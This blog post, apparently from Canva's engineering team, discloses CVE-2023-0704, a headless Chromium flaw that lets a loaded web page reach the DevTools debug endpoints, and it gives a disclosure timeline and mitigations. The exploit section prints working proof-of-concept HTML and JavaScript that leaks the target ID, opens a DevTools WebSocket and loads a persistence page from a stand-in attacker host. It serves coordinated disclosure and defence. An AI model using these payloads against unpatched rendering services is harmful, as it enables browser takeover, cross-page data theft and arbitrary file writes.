Discovering Headroll (CVE-2023–0704) in Chromium

Discovery of Headless Chromium security vulnerability, how it works, and mitigations that should be applied to similar configurations

Canva is a comprehensive design tool that provides a large degree of flexibility for how people create designs and the array of contents they can embed in a design.

This rich client-side flexibility presents some challenges for functionality we need to provide from the server. For example, how can we generate thumbnails of a design on the server side? How can we support exporting a design to PDF or PNG? The answer to these questions is simple: we’ll just run a web browser on the server.

To convert a design from a rich web representation to PNG entirely on the server side, Canva loads the design into Headless Chromium and requests a PNG export of the page.

Illustrating the flow of the export of a Canva design into PNG. The design passed from a backend service to headless Chromium to then be exported into PNG, which is returned by the backend service.
A simplified view of Canva export to PNG

In this blog post, we’ll walk through how we discovered a vulnerability in Chromium as part of an internal security review of the Canva export service. Affectionately we internally referred to this vulnerability as “Headroll”, given the impact on common applications of headless Chromium. As part of this process, we disclosed the vulnerability to the Chromium team and developed mitigations until an official patch could be implemented and released.

Due to other security controls we have in place, our services were unaffected by this vulnerability. By sharing knowledge of the vulnerability, we’re aiming to improve the security for consumers of Chromium who may be impacted due to similar configurations and use cases.

We recommend upgrading to Chromium 110.x or later, and there are additional fix alternatives in the Fixes section below.

Chromium Vulnerability

During a threat model of Canva’s export system, we identified a trust boundary between a Canva design and embedded external web pages. As a result of external web pages being embedded in a design, any JavaScript can be executed in Chromium. This JavaScript execution and interaction with web resources is expected, given we’re aiming to produce a screenshot of a rich web page to produce an export.

For fine-grained control of the export, the backend export system uses the Chromium DevTools Protocol to issue commands to a headless Chromium instance over a long-lived WebSocket.

While investigating the trust relationship further, we discovered a vulnerability in Chromium that makes it possible for web pages loaded inside Chromium to directly issue DevTools commands to the browser. These commands allow a malicious webpage to fully take over Chromium by writing arbitrary files, bypassing CORS, and opening new tabs.

We worked with Google to address these weaknesses, with a fix landing in Chromium 110.x and CVE-2023–0704 being issued. Special thanks to Google for matching the reward donation to Give Directly.

Research

To find sensitive resources (“sinks”) that malicious pages could access, we combined a source code review of the export system with a review of what ports Chromium listens on when launched headlessly. When we launched Chromium with the default Chrome Puppeteer configuration, we found a random TCP port is opened by Chromium for listening

import puppeteer from 'puppeteer';
(async () => {
const browser = await puppeteer.launch();
console.log(browser.wsEndpoint());
const page = await browser.newPage();
await page.goto('https://example.com');
})();
js

and listing the ports with

$ lsof -iTCP -sTCP:LISTEN -n -P
Chromium 35141 zsims 20u IPv4 0x24a11b2afa4a23bd 0t0 TCP 127.0.0.1:55492 (LISTEN)
shell

This raised a few immediate questions, including “what protocol is this?” and “what authentication is on this endpoint?” We started to dive deeper into the documentation and to test the endpoints.

DevTools WebSocket Authentication

To prevent arbitrary clients from connecting to a Chromium debug port, Chromium employs the concept of an unguessable target ID token which the client must provide when connecting. This target ID is generated for the browser at startup, and a separate target ID is generated per frame tree (tab).

Clients like Chrome Puppeteer obtain the target ID based on Chromium stdout messages.

$ chromium \
--remote-debugging-port=0 \
--user-data-dir=chrome-profile \
--no-first-run \
--headless \
https://example.com
DevTools listening on ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d
shell

Knowing the target ID, you can then send commands over the WebSocket.

$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d
{"id":1,"result":{"protocolVersion":"1.3","product":"HeadlessChrome/109.0.5414.0","revision":"@4ef7c84d0bddc77eb66ac5e9663e5f6602a4bf7b","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.0 Safari/537.36","jsVersion":"10.9.194"}}$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/b7b9cd7c-c420-4ade-85f1-3eab7272fa2d
shell

If you provide an invalid target ID, the request is rejected.

$ echo '{"id":1, "method":"Browser.getVersion"}' | websocat -n1 ws://127.0.0.1:55492/devtools/browser/wrong-target-id
websocat: WebSocketError: WebSocketError: Received unexpected status code (404 Not Found)
websocat: error running
shell

DevTools HTTP Endpoints

DevTools also exposes some HTTP endpoints, like /json/version and /json/new. Unlike the WebSocket endpoint, no target ID or authentication is required.

For example, /json/version lists browser version information, along with the WebSocket endpoint and the sensitive browser target ID 285956da-acb4-4251-ba54-affbadb4acdb.

$ curl http://127.0.0.1:55492/json/version
{
"Browser": "HeadlessChrome/109.0.5414.0",
"Protocol-Version": "1.3",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.0 Safari/537.36",
"V8-Version": "10.9.194",
"WebKit-Version": "537.36 (@4ef7c84d0bddc77eb66ac5e9663e5f6602a4bf7b)",
"webSocketDebuggerUrl": "ws://127.0.0.1:55492/devtools/browser/285956da-acb4-4251-ba54-affbadb4acdb"
}
shell

DevTools HTTP can also be used to open a new tab using a simple GET request to /json/new.

$ curl 'http://127.0.0.1:55492/json/new?https://example.org'
{
"description": "",
"devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:55492/devtools/page/92ECF95CAF8B0B7B69BD39BAD7284B9E",
"id": "92ECF95CAF8B0B7B69BD39BAD7284B9E",
"title": "",
"type": "page",
"url": "https://example.org/",
"webSocketDebuggerUrl": "ws://127.0.0.1:55492/devtools/page/92ECF95CAF8B0B7B69BD39BAD7284B9E"
}
shell

Exploit

Browser controls, like CORS, protect the output of endpoints like /json/version so they can’t be read by a malicious page on another origin. However, because of the way we’re using Chromium to take screenshots of pages, CORS can be bypassed by embedding the /json/version endpoint into the page and observing the result.

<html>
<body>
My malicious page<br />
<iframe src="http://localhost:55492/json/version" width="800" height="600"></iframe>
</body>
</html>
html

Which, when exported as a screenshot, results in the following.

Screenshot of the malicious page
Resulting screenshot of a malicious page embedding the /json/version Chromium endpoint

With the target ID known, the malicious page can connect to the WebSocket endpoint and issue debug commands. The output of these commands can be exfiltrated anywhere, but for brevity, this example puts them into the page.

<html>
<body>
My malicious page<br />
<div id="output"></div>
<script>
const ws = new WebSocket('ws://localhost:55492/devtools/browser/285956da-acb4-4251-ba54-affbadb4acdb');
ws.onerror = console.error;
ws.onclose = console.log;
ws.onmessage = ev => {
document.getElementById('output').innerText = ev.data;
}
ws.onopen = () => {
ws.send(JSON.stringify({ "id": 1, "method": "Browser.getVersion" }))
}
</script>
</body>
</html>
html
Output of a page calling the Browser.getVersion DevTools method

Working with Multiple Chromium Instances

Having to fire the exploit twice, once to get the target ID and a second time to issue commands, is problematic because:

  • Chromium might be started and stopped per job.
  • There might be many instances of Chromium, with each job scheduled onto a different instance.
Illustrating multiple instances with different target IDs.
Multiple instances of Chromium have different target IDs

To get around this, the /json/new endpoint can be used to launch a new page, persist.html, and maintain persistence while the browser target ID is obtained through the export.

<html>
<body>
My malicious page<br />
<iframe src="http://localhost:55492/json/version" width="800" height="600"></iframe>
<img src="http://localhost:55492/json/new?http://malicious.example.com/persist.html" />
</body>
</html>
html
Flow of how to launch a persistent page with /json/new to stay in one Chromium instance. This prevents the malicious page from being accessed.
Launching a persistent page with /json/new to stay in one Chromium instance

This persistent page allows for JavaScript execution while the browser target ID is obtained out-of-band through a screenshot of the page.

Impact

Numerous commands can be issued to DevTools, and the impact of these commands varies, but from our investigation, they can:

  • Bypass proxy settings that might be enforced on Chromium.
  • Bypass CORS and read the contents of other web pages that might be open in the same browser using Target.getTargets.
  • Launch new tabs without being subject to window.open restrictions in the /json/new API.
  • Write arbitrary files by calling Browser.setDownloadBehaviour and downloading a file.

Fixes

After reporting the issue, Google quickly worked to implement fixes that landed in Chromium 110.x, including:

  • Implement Content Security Policy to prevent /json/... endpoints from being loaded into a frame.
  • Reject any debug requests that contain an Origin header, that is, they came from a web browser.
  • Enforce usage of the PUT verb for /json/new.

If you have a similar setup, we strongly recommend you do the following:

  • Patch to Chrome 110.x (M110) or greater.
  • Configure a Puppeteer workaround to use pipes instead of web sockets:
  1. Per https://pptr.dev/api/puppeteer.launchoptions.pipe
  2. puppeteer.launch({ pipe: true })
  • Set up an HTTP proxy for Chromium and ensure loopback isn’t excluded: --proxy-bypass-list="<-loopback>"
  • Block localhost from Chromium by forwarding traffic to a non-listening port: --proxy-server="127.0.0.1:1337" --proxy-bypass-list="*,<-loopback>"

Timeline

  • November 28, 2022: Issue disclosed to the Chromium security team.
  • December 21, 2022: Patch merged and issue marked fixed by Chromium.
  • February 7, 2023: Chromium M110 released with fix.
  • March 31, 2023: Chromium bug 1385982 made public.

While researching this vulnerability further, we found some related findings:

  • Per Chromium Bug 813540 raised in 2018, DevTools previously suffered from DNS rebinding, which would allow any web page to interact with the DevTools HTTP endpoints by rebinding a domain to 127.0.0.1.
  • Firefox supports part of the DevTools protocol, but their WebSocket implementation validates the origin and host header, so isn’t vulnerable to this type of attack.

Acknowledgements

Special thanks to the awesome Canva engineers Ben Day and Paul Bogg, who work on the Canva export system, for your expertise and collaboration, as well as for applying timely mitigations while Chromium rolled out a patch. Thanks to Matt Hart for helping drive coordinated disclosure and mitigation, Bec Trapani for assisting with the initial rabbit hole of being able to obtain a target ID, and Cameron Lonsdale for investigating variations of this vulnerability and verifying how Firefox might be impacted. Lastly, thanks to the Google Security team for making it easy to collaborate on reporting and addressing these types of issues.

Interested in securing Canva systems? Join Us!

More from Canva Engineering

Subscribe to the Canva Engineering Blog

By submitting this form, you agree to receive Canva Engineering Blog updates. Read our Privacy Policy.
* indicates required